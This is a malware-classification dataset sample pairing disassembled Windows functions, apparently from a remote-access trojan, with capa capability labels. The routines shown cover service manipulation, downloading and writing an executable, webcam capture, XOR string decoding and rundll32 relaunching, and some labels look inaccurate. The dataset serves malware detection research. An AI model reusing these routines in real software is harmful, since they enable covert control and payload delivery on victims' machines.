joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008c76
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
lea ebx, [eax + 1]
mov dword [ebp - 0x24], edi
movzx eax, byte [eax]
dec eax
cmp eax, 3
ja case.default.0x10008b5b
push esi
jmp dword [eax*4 + 0x10008d18]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x10008ba1
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x10008b9b
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x10008cf4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x10008c0a
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x10008c04
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x10008cf4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10008cd4
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10008ccd
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
jmp 0x10008cb4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10008cd4
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10008ccd
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
push 0xffffffffffffffff
push ebx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0x24]
push eax
push esi
call fcn.10006760
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
Function at 0x10009030
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, ecx
push 0
push dword [edi + 0x28]
mov dword [edi], vtable.CShellManager.0
call esi
push 0
push dword [edi + 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push dword [edi + 0x24]
call esi
push 0x7d0
push dword [edi + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [edi + 0x2c]
call esi
mov eax, dword [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x1000907e
push eax
call esi
mov eax, dword [edi + 0x14]
test eax, eax
je 0x10009088
push eax
call esi
mov eax, dword [edi + 0x18]
test eax, eax
je 0x10009092
push eax
call esi
mov eax, dword [edi + 0x1c]
test eax, eax
je 0x1000909c
push eax
call esi
push dword [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x14]
call esi
push dword [edi + 0x18]
call esi
push dword [edi + 0x1c]
call esi
push dword [edi + 0x20]
call esi
push dword [edi + 0x24]
call esi
push dword [edi + 0x2c]
call esi
push dword [edi + 0x28]
call esi
push dword [edi + 8]
mov dword [edi], vtable.CManager.0
call esi
pop edi
pop esi
ret
Function at 0x10009c10
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push esi
push 0
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
push 0
mov dword [ebp - 0x10], eax
mov al, byte [ebp + 0x18]
push 0
push 0
mov byte [ebp - 0xc], al
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x10009ba0
push 0
push 0
call fcn.10016cbf
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10009c70
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x128
mov edi, eax
call fcn.1001243f
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10009cec
lea ebx, [esi + 0x24]
push str.winlogon.exe
push ebx
call fcn.100195c9
add esp, 8
test eax, eax
jne 0x10009cbc
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebx
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x10009cec
nop dword [eax + eax]
push str.winlogon.exe
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10009cb5
push esi
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10009cd0
pop edi
pop esi
xor eax, eax
pop ebx
ret
Function at 0x10009e80
Capabilities:
Create http request
Download and write a file
Encode data using xor
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1002e820]
push ebx
push esi
push edi
mov edi, 1
mov dword [ebp - 0x430], edx
push 0x19
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x428], edi
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0xcddbcbd1
mov dword [ebp - 0xc], 0xd0dad5d1
mov byte [ebp - 8], 0x9d
call fcn.1001243f
mov esi, eax
lea ebx, [ebp - 0x1f]
add esp, 4
mov edx, edi
sub ebx, esi
lea ecx, [esi + edx]
mov al, 0xcc
sub al, dl
inc edx
xor al, byte [ebx + ecx - 1]
mov byte [ecx - 1], al
cmp edx, 0x18
jbe 0x10009ef1
push 0
push 0
push 0
push 0
push esi
mov byte [esi + 0x18], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
movsx eax, byte [esi]
push eax
push 0
push esi
mov dword [ebp - 0x438], ebx
call fcn.100146a0
push 1
push esi
call fcn.1001246f
add esp, 0x14
test ebx, ebx
je 0x1000a033
push 0
push connect
push 0
push 0
push dword [ebp - 0x42c]
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x1000a033
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000a00b
nop word [eax + eax]
push 0x400
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.100146a0
add esp, 0xc
lea eax, [ebp - 0x424]
push eax
push 0x400
lea eax, [ebp - 0x420]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test edi, edi
je 0x10009fd2
mov eax, 0x5a4d
cmp word [ebp - 0x420], ax
jne 0x10009ffa
xor edi, edi
lea eax, [ebp - 0x434]
push edi
push eax
push dword [ebp - 0x424]
lea eax, [ebp - 0x420]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x424], edi
ja 0x10009f90
jmp 0x1000a004
mov dword [ebp - 0x428], 0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push dword [ebp - 0x438]
call esi
mov al, byte [ebp - 0x428]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012425
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012425
mov esp, ebp
pop ebp
ret
Function at 0x1000a050
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 0
mov edi, ecx
push 0
push 0
mov dword [edi], vtable.CVideoCap.0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp byte [0x10033a26], 0
mov dword [edi + 4], eax
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
jne 0x1000a1d6
push ebx
mov ebx, dword [sym.imp.AVICAP32.dll_capGetDriverDescriptionA]
xor al, al
push esi
xor esi, esi
test al, al
jne 0x1000a0cd
push 0x32
lea eax, [ebp - 0x40]
push eax
push 0x64
lea eax, [ebp - 0xa4]
push eax
push esi
call ebx
test eax, eax
setne al
inc esi
cmp esi, 0xa
jl 0x1000a0a4
test al, al
je 0x1000a1c3
cmp byte [0x10033a26], 0
jne 0x1000a1c3
push 7
mov dword [ebp - 0xc], 0xfbf9e806
mov word [ebp - 8], 0xf0ff
mov byte [ebp - 6], 0xf6
call fcn.1001243f
mov ebx, eax
lea esi, [ebp - 0xb]
add esp, 4
mov eax, 1
sub esi, ebx
lea edx, [ebx + eax]
mov cl, 0xcc
sub cl, al
inc eax
xor cl, byte [esi + edx - 1]
mov byte [edx - 1], cl
cmp eax, 6
jbe 0x1000a101
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push connect
push 0x1002e2cd
push str.32770
push 0
mov byte [ebx + 6], 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [edi + 0x10], eax
xor eax, eax
push 1
mov dword [ebx], eax
push ebx
mov word [ebx + 4], ax
call fcn.1001246f
push 7
call fcn.1001243f
mov esi, eax
lea ebx, [ebp - 0xb]
add esp, 0xc
mov eax, 1
sub ebx, esi
nop dword [eax]
lea edx, [esi + eax]
mov cl, 0xcc
sub cl, al
inc eax
xor cl, byte [ebx + edx - 1]
mov byte [edx - 1], cl
cmp eax, 6
jbe 0x1000a170
push 0
mov byte [esi + 6], 0
push dword [edi + 0x10]
push 0
push 0
push 0
push 0
push 0x50000000
push esi
call dword [sym.imp.AVICAP32.dll_capCreateCaptureWindowA]
mov dword [edi + 0x14], eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [esi + 8], 0
push esi
mov word [esi + 0xc], 0
call fcn.1001246f
add esp, 8
pop esi
pop ebx
mov eax, edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012425
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.10012425
mov esp, ebp
pop ebp
ret
Function at 0x1000a6fe
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 8]
mov edx, ecx
mov dword [ebp - 4], edx
movzx eax, byte [esi]
add eax, 0xffffffe5
cmp eax, 3
ja case.default.0x1000a6be
jmp dword [eax*4 + 0x1000a788]
push dword [edx + 8]
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop esi
mov esp, ebp
pop ebp
ret 8
cmp dword [edx + 0x18], 0
je case.default.0x1000a6be
mov ecx, 1
lea eax, [edx + 0x28]
xchg dword [eax], ecx
pop esi
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
lea eax, [edx + 0x28]
xchg dword [eax], ecx
pop esi
mov esp, ebp
pop ebp
ret 8
push ebx
push edi
mov edi, dword [esi + 5]
lea ebx, [edx + 0x10]
mov esi, dword [esi + 1]
xor eax, eax
xchg dword [ebx], eax
push 0xffffffffffffffff
push dword [edx + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
mov eax, 1
mov dword [ecx + 0x20], esi
mov dword [ecx + 0x24], edi
xchg dword [ebx], eax
push 0
push 0
push 0
push 0
mov dword [ebp - 0x14], 0x1000a7a0
mov dword [ebp - 0x10], ecx
mov byte [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x10009ba0
push 0
push 0
call fcn.10016cbf
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop ebx
mov dword [eax + 0x2c], esi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x1000b7b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
push 0x104
push dword [esi]
push 0x10033e50
call fcn.10016680
push 0x104
push dword [esi]
push 0x10033e50
call fcn.1001852a
add esp, 0x18
push 0x1000b710
push 0x10033e50
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
mov dword [0x10033d44], eax
test eax, eax
je 0x1000b93c
push edi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov esi, dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
lea eax, [ebp - 0x20]
push eax
push dword [0x10033d44]
mov dword [ebp - 0x20], 0x20
mov dword [0x10033c3c], 2
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x3e8
call esi
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x20
push eax
push dword [0x10033d44]
mov dword [0x10033c3c], 4
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0x3e8
call esi
call fcn.10004050
push 0
push 0
push 0
push 0
mov dword [0x10033c34], eax
mov dword [ebp - 0x14], 0x1000b0c0
mov dword [ebp - 0x10], 0x10033e50
mov byte [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x10009ba0
push 0
push 0
call fcn.10016cbf
add esp, 0x18
mov edi, eax
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
mov eax, dword [0x10033c3c]
cmp eax, 3
je 0x1000b916
cmp eax, 1
jne 0x1000b903
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x10033c34], 0x120
pop edi
jne 0x1000b93c
push 0x2710
call esi
jmp 0x1000b933
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10012425
mov esp, ebp
pop ebp
ret

Function at 0x1000b950
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov edx, 0x10033c40
sub esp, 0x10
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1000b960
mov eax, dword [ebp + 0xc]
push ebx
push 0
push 0
push 0
push 0
mov dword [0x10033c38], eax
mov dword [ebp - 0x10], 0x1000b0c0
mov dword [ebp - 0xc], 0x10033c40
mov byte [ebp - 8], cl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push 0x10009ba0
push 0
push 0
call fcn.10016cbf
add esp, 0x18
mov ebx, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b9e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push 0
push 0
push 0
push 0
mov dword [ebp - 0x14], 0x1000bbe0
mov dword [ebp - 0x10], 0
mov byte [ebp - 0xc], 0
call esi
push 0
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x10009ba0
push 0
push 0
call fcn.10016cbf
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 8]
call edi
push dword [ebp - 8]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
movq xmm0, qword [str.127.0.0.1]
xor ecx, ecx
mov ax, word [0x1002e6bc]
movq qword [ebp - 0x10], xmm0
mov word [ebp - 8], ax
mov al, byte [ebp + ecx - 0x10]
lea ecx, [ecx + 1]
mov byte [ecx + 0x10033c3f], al
test al, al
jne 0x1000ba62
push 0
push 0
push 0
push 0
mov dword [0x10033c38], 0x1f98
mov dword [ebp - 0x14], 0x1000b0c0
mov dword [ebp - 0x10], 0x10033c40
mov byte [ebp - 0xc], al
call esi
push 0
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x10009ba0
push 0
push 0
call fcn.10016cbf
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 8]
call edi
push dword [ebp - 8]
call ebx
push 0xffffffffffffffff
push esi
call edi
push esi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012425
mov esp, ebp
pop ebp
ret

Function at 0x1000bae0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.100146a0
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.100146a0
add esp, 0x18
lea eax, [ebp - 0x108]
push 0x104
push eax
push dword [0x10033c30]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
push str.rundll32.exe
lea eax, [ebp - 0x20c]
push str._s__s_MainRun
push eax
call fcn.1000b000
add esp, 0x10
mov dword [ebp - 0x250], 0x44
lea eax, [ebp - 0x260]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x244], 0
push eax
lea eax, [ebp - 0x250]
mov dword [ebp - 0x224], 1
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x220], 1
push eax
push 0
mov dword [ebp - 0x21c], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012425
mov esp, ebp
pop ebp
ret

Function at 0x1000bcb0
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, ecx
movsx esi, byte [edi]
lea eax, [esi + 1]
push eax
call fcn.1001243f
mov edx, 1
add esp, 4
cmp esi, edx
jb 0x1000bce0
nop dword [eax]
mov cl, 0xcc
sub cl, dl
xor cl, byte [edx + edi]
mov byte [eax + edx - 1], cl
inc edx
cmp edx, esi
jbe 0x1000bcd0
pop edi
mov byte [eax + esi], 0
pop esi
ret
Function at 0x1000fab0
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.1000fac0
Function at 0x10012240
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [edx + 0x78]
mov ebx, dword [edx + 0x8c]
cmp eax, ebx
mov eax, dword [edx + 0x34]
mov ebx, dword [edx + 0x7c]
jl 0x10012265
shr ebx, 2
dec ebx
shl ebx, 0x10
or ebx, eax
mov dword [esp], ebx
mov eax, dword [edx + 0x90]
mov ebx, dword [edx + 0x74]
cmp ebx, eax
jl 0x1001227d
mov ebx, eax
mov dword [esp + 0x18], ebx
mov esi, dword [edx + 0x38]
mov dword [esp + 4], esi
mov ebp, dword [edx + 0x6c]
lea edi, [esi + ebp]
mov dword [esp + 0x20], edi
mov eax, edi
neg eax
and eax, 3
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x2c]
sub eax, 0x106
sub ebp, eax
jg 0x100122ab
xor ebp, ebp
mov eax, dword [edx + 0x78]
mov dword [esp + 0x1c], eax
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi]
mov dword [esp + 0x10], ebx
movzx ebx, word [edi + eax - 1]
mov dword [esp + 0xc], ebx
mov edi, dword [edx + 0x40]
mov edx, dword [esp]
jmp 0x100122ea
and ecx, edx
movzx ecx, word [edi + ecx*2]
cmp ecx, ebp
jbe 0x100123be
sub edx, 0x10000
js 0x100123be
movzx eax, word [esi + ecx - 1]
cmp eax, ebx
jne 0x100122d0
mov eax, dword [esp + 4]
movzx eax, word [eax + ecx]
cmp eax, dword [esp + 0x10]
jne 0x100122d0
mov dword [esp], edx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x20]
add esi, ecx
mov eax, dword [esp + 0x14]
mov edx, 0xfffffef8
lea edi, [edi + eax + 0x108]
lea esi, [esi + eax + 0x108]
mov eax, dword [esi + edx]
xor eax, dword [edi + edx]
jne 0x10012341
mov eax, dword [esi + edx + 4]
xor eax, dword [edi + edx + 4]
jne 0x1001233e
add edx, 8
jne 0x10012325
jmp 0x100123af
add edx, 4
test eax, 0xffff
jne 0x1001234e
add edx, 2
shr eax, 0x10
sub al, 1
adc edx, 0
lea eax, [edi + edx]
mov edi, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x102
jge 0x100123af
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
cmp eax, ebx
jg 0x10012382
mov esi, dword [esp + 8]
mov edi, dword [edx + 0x40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp]
jmp 0x100122d0
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x70], ecx
cmp eax, ebx
jge 0x100123be
mov esi, dword [esp + 4]
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi + eax - 1]
mov edi, dword [edx + 0x40]
mov dword [esp + 0xc], ebx
mov edx, dword [esp]
jmp 0x100122d0
mov edx, dword [esp + 0x38]
mov dword [esp + 0x1c], 0x102
mov dword [edx + 0x70], ecx
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
mov eax, dword [edx + 0x74]
cmp ebx, eax
jg 0x100123cf
mov eax, ebx
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401000
Capabilities:
Print debug messages

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x400
lea eax, [esp + 0x408]
lea edx, [esp]
push ebx
push esi
push edi
push eax
push ecx
push edx
call fcn.00406b61
mov edi, 0x41713c
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
pop esi
pop ebx
add esp, 0x400
ret

Function at 0x402f40
Capabilities:
Hide graphical window

Disassembly:
sub esp, 8
mov eax, dword [0x4170a8]
mov ecx, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
push ebx
push ebp
push esi
push edi
push eax
push ecx
call fcn.00402e60
mov edx, dword [0x4170a8]
mov edi, eax
mov eax, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
push edx
push eax
add edi, 0x1d195540
call fcn.00402e60
mov ecx, dword [0x4170a8]
mov edx, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
mov ebx, eax
push ecx
push edx
add ebx, 0x1d19557c
call fcn.00402e60
mov ecx, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
mov ebp, eax
mov eax, dword [0x4170a8]
add ebp, 0x1d19551c
push eax
push ecx
call fcn.00402e60
mov edx, dword [0x4170a8]
add eax, 0x1d195520
mov dword [esp + 0x30], eax
mov eax, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
push edx
push eax
call fcn.00402e60
mov ecx, dword [0x4170a8]
mov edx, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
add eax, 0x1d195524
push ecx
push edx
mov dword [esp + 0x44], eax
call fcn.00402e60
mov esi, dword [esp + 0x4c]
mov edx, dword [esp + 0x40]
add eax, 0x1d195528
add esp, 0x30
mov ecx, dword [edi + esi]
mov dword [esp + 0x1c], 0
add ecx, ebx
mov ecx, dword [ecx + esi]
add ecx, esi
mov edi, dword [ecx + edx]
mov edx, dword [esp + 0x14]
mov ebx, dword [ecx + eax]
mov ebp, dword [ecx + ebp]
mov edx, dword [ecx + edx]
add edi, esi
add edx, esi
add ebx, esi
test ebp, ebp
jbe 0x403057
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
mov ecx, dword [0x4170a8]
push ecx
mov eax, dword [eax]
add eax, esi
push eax
call fcn.00402e60
mov ecx, dword [esp + 0x28]
add esp, 8
cmp eax, ecx
je 0x403057
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
inc eax
add edx, 4
cmp eax, ebp
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], edx
jb 0x40301f
cmp dword [esp + 0x1c], ebp
jne 0x403067
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esp + 0x1c]
xor edx, edx
mov dx, word [ebx + eax*2]
mov eax, dword [edi + edx*4]
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
ret